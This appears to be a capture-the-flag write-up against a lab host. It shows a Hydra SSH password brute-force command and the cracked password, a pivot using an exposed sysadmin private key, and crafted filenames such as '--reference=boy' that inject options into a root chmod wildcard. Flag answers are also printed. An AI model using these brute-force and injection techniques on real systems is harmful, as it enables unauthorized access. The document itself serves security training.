

Vulnerabilities

Initial Access

Vulnerability Category: CWE-521 (Weak Password)

Tools: Hydra (a tool to guess/crack valid login/password pairs), password.txt (repository of common passwords)

Command: `hydra -l user -P password.txt ssh://172.16.29.1 -s 5022 -t 4`

Cracked Password: `joker8`

Submission: `b19b9789-3e82-45be-bb0e-4a533689f5b0`

```
user@f59efb7ba5fc:~$ ls -la flag_user
-rw-r--r-- 1 user user 37 Apr 14 11:21 flag_user
user@f59efb7ba5fc:~$ cat flag_user
b19b9789-3e82-45be-bb0e-4a533689f5b0
```

Horizontal Privilege Escalation

Vulnerability Category: CWE-732 (Incorrect Permission Assignment for Critical Resource)

Justification for Vulnerability Category:

- The system did enforce access control, but I bypassed it by becoming an authenticated user via world-readable SSH credentials in *ServiceUser-21* account related to *sysadmin*.

Submission: `25791a5e-54cd-4a44-a30d-f0fb9a6e006c` + CWE-732

```
user@f59efb7ba5fc:~$ chmod 600 sysadmin_privKey
user@f59efb7ba5fc:~$ ls -al sysadmin_privKey
-rw----- 1 user user 411 May  2 09:28 sysadmin_privKey
user@f59efb7ba5fc:~$ chmod 600 sysadmin_privKey
user@f59efb7ba5fc:~$ ssh -i sysadmin_privKey sysadmin@172.16.29.1 -p 5022
The authenticity of host '[172.16.29.1]:5022 ([172.16.29.1]:5022)' can't be established.
ED25519 key fingerprint is SHA256:fs07lhs0rNj/iVbrJmVgXlqbotJgACLSxgqnZ9EL3M4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/user/.ssh/known_hosts).
Linux f59efb7ba5fc 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May  1 16:14:17 2026 from 172.17.0.1
sysadmin@f59efb7ba5fc:~$ ls
flag_sysadmin  greetingsFromRoot  rootflag
sysadmin@f59efb7ba5fc:~$ cat flag_sysadmin
25791a5e-54cd-4a44-a30d-f0fb9a6e006c
```

Does the protection mechanism of root do a good job?

No. For the following reasons:

- It should have used the absolute path to the file, `flag_root`

- It should have used a full explicit path with “--”. chmod treats everything after “--” as a literal filename and not an instruction.

Submission: 93d25245-b0eb-4314-bc0a-5ec65399ee76 + CWE-78 (OS Command Injection via Wildcard)

```
sysadmin@f59efb7ba5fc:~/rootflag$ ls -al
total 24
-rw-rw-r-- 1 sysadmin sysadmin  0 May  2 11:26 '&&'
-rw-rw-r-- 1 sysadmin sysadmin  0 May  2 13:22 '--reference=boy'
-rw-rw-r-- 1 sysadmin sysadmin  0 May  2 13:24 '--reference=boys'
-rw-rw-r-- 1 sysadmin sysadmin  0 May  2 13:25 '--reference=boyss'
drwxr-xr-x 1 sysadmin sysadmin 4096 May  2 13:25 .
drwxr-xr-x 1 sysadmin sysadmin 4096 May  2 12:58 ..
-rw-rw-r-- 1 root      root      37 Apr 14 11:21 flag_root
```

Reference:

- <https://github.com/vanhauser-thc/thc-hydra>
- <https://cwe.mitre.org/index.html>